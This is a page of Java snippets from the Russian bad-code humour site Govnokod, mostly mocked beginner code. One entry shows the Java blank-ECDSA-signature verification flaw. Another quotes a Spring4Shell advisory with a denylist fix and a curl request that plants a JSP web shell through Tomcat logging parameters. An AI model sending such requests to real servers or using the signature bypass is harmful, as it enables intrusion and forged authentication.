Jawa / Говнокод #28305 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
import java.security.*

var keys = KeyPairGenerator.getInstance("EC").generateKeyPair();
var blankSignature = new byte[64]; // zero bytes
var sig = Signature.getInstance("SHA256WithECDSAInP1363Format");
sig.initVerify(keys.getPublic());
sig.update("Hello, World".getBytes()); // anything
sig.verify(blankSignature); // true

Сказка о том, как джавушки переписали код с небезопасного языка на безопасный и помножили проверку подписей на ноль (в прямом смысле).

https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/

bormand bormand, (Updated )

Комментарии (35, +35)

Jawa / Говнокод #28297 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
import java.util.InputMismatchException;
import java.util.Scanner;

public class Main {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);
        try {
            System.out.println("How many characters will be in the password? (1-256):");
            short length = scanner.nextShort();
            if (length > 256) {
                System.out.println("Password can't be longer than 256 characters!");
            } else if (length < 1) {
                System.out.println("Password can't be less than 1 character long!");
            } else {
                System.out.println("How many passwords will be generated? (1-32)");
                byte amount = scanner.nextByte();
                if (amount > 32) {
                    System.out.println("You can't generate more than 32 passwords!");
                } else if (amount < 1) {
                    System.out.println("You can't generate less than 1 password!");
                } else {
                    for (byte i = 0; i < amount; i++) {
                        System.out.println("\n" + PasswordGenerator.generate(length));
                    }
                }
            }
        } catch (InputMismatchException e) {
            System.out.println("Input error!");
        }
    }
}

cringe

zxc254363 zxc254363, (Updated )

Комментарии (0)

Jawa / Говнокод #28278 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
private void calculateOverallTime() {
    if (overallTimeTimer.isTimeOut()) {
        if (overallTime[0] <= 58) {
            overallTime[0] += 1;
        }
        else {
            overallTime[0] = 0;
            if (overallTime[1] <= 58) {
                overallTime[1] += 1;
            }
            else {
                overallTime[1] = 0;
                overallTime[2] += 1;
            }
        }
    }
}

reboober reboober, (Updated )

Комментарии (9, +9)

Jawa / Говнокод #28165 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
package com.company;
import java.util.Scanner;

public class Main {
    public static void main (String [] args) {
         Scanner num = new Scanner(System.in);
         int first;
         System.out.print("Enter first num: ");
         first = num.nextInt();

         if (first==10)
              System.out.print("Num is 10");
}
}

zdavletshin zdavletshin, (Updated )

Комментарии (2, +2)

Jawa / Говнокод #28118 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
public class Spot {
    private Piece piece;
    private int x;
    private int y;
  
    public Spot(int x, int y, Piece piece)
    {
        this.setPiece(piece);
        this.setX(x);
        this.setY(y);
    }
  

    public Piece getPiece() // метод возвращает объект фигуру
    {
        return this.piece;
    }
  
    public void setPiece(Piece p)
    {
        this.piece = p;
    }
  
    public int getX()
    {
        return this.x;
    }
  
    public void setX(int x)
    {
        this.x = x;
    }
  
    public int getY()
    {
        return this.y;
    }
  
    public void setY(int y)
    {
        this.y = y;
    }
}

Дизайн шахматной игры
Эти виды вопросов задаются на интервью, чтобы судить о навыке объектно ориентированного дизайна кандидата. Итак, прежде всего, мы должны подумать о классах.
https://habr.com/ru/post/660003/

ISO ISO, (Updated )

Комментарии (75, +75)

Jawa / Говнокод #28107 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
import org.springframework.core.Ordered;
   import org.springframework.core.annotation.Order;
   import org.springframework.web.bind.WebDataBinder;
   import org.springframework.web.bind.annotation.ControllerAdvice;
   import org.springframework.web.bind.annotation.InitBinder;

   @ControllerAdvice
   @Order(10000)
   public class BinderControllerAdvice {
      @InitBinder
      public void setAllowedFields(WebDataBinder dataBinder) {

          String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."};

          dataBinder.setDisallowedFields(denylist);
      }
   }

Критическая 0-day уязвимость в Spring Framework, применяемом во многих Java-проектах

Работа эксплоита сводится к отправке запроса с параметрами "class.module.classLoader.resources.cont ext.parent.pipeline.first.*", обработка которых при использовании "WebappClassLoaderBase" приводит к обращению к классу AccessLogValve. Указанный класс позволяет настроить логгер для создания произвольного jsp-файла в корневом окружении Apache Tomcat и записи в этот файл указанного атакующим кода. Созданный файл становится доступным для прямых запросов и может использоваться в качестве web shell. Для атаки на уязвимое приложение в окружении Apache Tomcat достаточно отправить запрос с определёнными параметрами при помощи утилиты curl.

curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=код_для_вставки_в_файл
 &class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
 &class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
 &class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
 &class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" 
http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7

3_dar 3_dar, (Updated )

Комментарии (4, +4)

Jawa / Говнокод #28032 Ссылка на оригинал

0

  1. 1
Багор

Анскильные питухи хранят дату рождения в timestamp или в абстрактном формате Date.
Например, если вы родились 20.05.1986, то это 1986.05.20T00:00:00
Угадайте как в приложении отображается дата рождения москвича, когда он находится в Рио-де-Жанейро?

3_dar 3_dar, (Updated )

Комментарии (16, +16)